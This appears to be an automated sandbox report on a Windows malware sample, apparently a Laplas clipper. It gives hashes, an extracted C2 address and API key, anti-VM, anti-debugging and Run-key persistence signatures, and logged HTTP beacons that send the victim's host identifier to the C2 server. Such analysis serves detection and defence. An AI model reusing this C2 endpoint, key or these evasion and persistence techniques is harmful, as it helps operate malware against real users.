Analysis
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max time kernel
269s -
max time network
291s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
20/04/2023, 22:17 UTC
Static task
static1
Behavioral task
behavioral1
Sample
9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe
Resource
win7-20230220-en
General
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Target
9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe
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Size
2.7MB
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MD5
20974e780438e87cf0fab2e4c10aa72a
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SHA1
577e4d37c6897e550abe430d58577b595ed6d2a9
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SHA256
9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999
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SHA512
c40c222c127d002ea647f3a447426099c7e20f2c9cee48d60f626222e27123406f18e84a2e0774f1725dde001691525487f37e753c5c1dd026b84c958d017e61
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SSDEEP
49152:izUKp+KxzGMns8LyGuD7wdwrYvihsZqkWo9pG7XnkMcfWzE65Gl9R/4xEozse:iYKpbxZDyGuDkdRiOZRd9e5KW4aGd/6N
Malware Config
Extracted
laplas
http://45.159.189.105
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api_key
7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e
Signatures
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ ntlhost.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion ntlhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion ntlhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe -
Executes dropped EXE 1 IoCs
pid Process 1940 ntlhost.exe -
Loads dropped DLL 1 IoCs
pid Process 1736 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe" 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ntlhost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1736 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe 1940 ntlhost.exe -
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 1 Go-http-client/1.1 -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1736 wrote to memory of 1940 1736 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe 28 PID 1736 wrote to memory of 1940 1736 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe 28 PID 1736 wrote to memory of 1940 1736 9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe 28
Processes
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C:\Users\Admin\AppData\Local\Temp\9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe"C:\Users\Admin\AppData\Local\Temp\9f35ecf414df4f8e3d0bfa41cea9ebf0827a271941555cabaf22530d774bd999.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Loads dropped DLL
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exeC:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1940
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Network
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Remote address:45.159.189.105:80RequestGET /bot/regex HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:18:12 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 633
Connection: keep-alive
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GEThttp://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Adminntlhost.exeRemote address:45.159.189.105:80RequestGET /bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Admin HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:18:12 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Connection: keep-alive
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Remote address:45.159.189.105:80RequestGET /bot/regex HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:19:17 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 633
Connection: keep-alive
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GEThttp://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Adminntlhost.exeRemote address:45.159.189.105:80RequestGET /bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Admin HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:19:17 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Connection: keep-alive
-
Remote address:45.159.189.105:80RequestGET /bot/regex HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:20:23 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 633
Connection: keep-alive
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GEThttp://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Adminntlhost.exeRemote address:45.159.189.105:80RequestGET /bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Admin HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:20:24 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Connection: keep-alive
-
Remote address:45.159.189.105:80RequestGET /bot/regex HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:21:30 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 633
Connection: keep-alive
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GEThttp://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Adminntlhost.exeRemote address:45.159.189.105:80RequestGET /bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Admin HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:21:30 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Connection: keep-alive
-
Remote address:45.159.189.105:80RequestGET /bot/regex HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:22:36 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 633
Connection: keep-alive
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GEThttp://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Adminntlhost.exeRemote address:45.159.189.105:80RequestGET /bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Admin HTTP/1.1
Host: 45.159.189.105
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
ResponseHTTP/1.1 200 OK
Date: Thu, 20 Apr 2023 22:22:36 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Connection: keep-alive
-
45.159.189.105:80http://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\Adminhttpntlhost.exe2.6kB 6.9kB 25 29
HTTP Request
GET http://45.159.189.105/bot/regexHTTP Response
200HTTP Request
GET http://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\AdminHTTP Response
200HTTP Request
GET http://45.159.189.105/bot/regexHTTP Response
200HTTP Request
GET http://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\AdminHTTP Response
200HTTP Request
GET http://45.159.189.105/bot/regexHTTP Response
200HTTP Request
GET http://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\AdminHTTP Response
200HTTP Request
GET http://45.159.189.105/bot/regexHTTP Response
200HTTP Request
GET http://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\AdminHTTP Response
200HTTP Request
GET http://45.159.189.105/bot/regexHTTP Response
200HTTP Request
GET http://45.159.189.105/bot/online?key=7ee57b1f6d4aff08f9755119b18cf0754b677addcb6a3063066112b10a357a8e&guid=MLXLFKOI\AdminHTTP Response
200
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
818.7MB
MD5cca69001bb5ad64c706a1a7481418a15
SHA1cbeb86d886ecfb2f8f778db7da3ab12a3468612d
SHA2566e580a16c4d175f8d9ac0b56203d3119815190248b61e3b6d8d2058fd9c160e9
SHA51213dd241873d7b7fe23420d31dbcfd3f4a459f0ca0c1093ec642b483c0cc5a569c1bbd17a1c811d851f87c8b77a28164b6f79a64dd7ee95792224f35ee62b8f2f
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Filesize
818.7MB
MD5cca69001bb5ad64c706a1a7481418a15
SHA1cbeb86d886ecfb2f8f778db7da3ab12a3468612d
SHA2566e580a16c4d175f8d9ac0b56203d3119815190248b61e3b6d8d2058fd9c160e9
SHA51213dd241873d7b7fe23420d31dbcfd3f4a459f0ca0c1093ec642b483c0cc5a569c1bbd17a1c811d851f87c8b77a28164b6f79a64dd7ee95792224f35ee62b8f2f